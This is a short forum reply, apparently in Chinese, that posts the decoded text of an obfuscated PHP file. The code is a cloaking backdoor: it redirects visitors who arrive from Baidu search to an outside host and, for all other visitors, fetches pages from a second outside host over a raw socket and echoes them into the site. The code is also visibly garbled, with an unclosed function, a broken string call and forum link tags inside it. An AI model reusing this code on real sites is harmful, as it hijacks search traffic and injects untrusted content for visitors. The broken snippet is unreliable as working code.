回复: php文件解密
function hex2bin($data){
$newdata="";
$len = strlen($data);
error_reporting(E_ERROR);
header("content-Type: text/html; charset=gb2312");
function readurl($url)
{
preg_match_all("/http\:\/\/([^~]*?)\//i",$url,$tmp);
$fp = @fsockopen($tmp[1][0],80);
@fputs($fp,"GET ".$url." HTTP/1.1\r\nHost:".$tmp[1][0]."\r\nConnection: Close\r\n\r\n");
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
@fclose($fp);
$data = explode('return str_replace('/good/','','}
if(stristr($_SERVER['HTTP_REFERER'],'baidu.com/s?'))
{
Header("Location: [url]http://32779.dx001.htidc.com/wow/wow.html?[/url]".$_SERVER['SERVER_NAME']);
}
else echo readurl('http://www.hygrj.com/wow/index.php');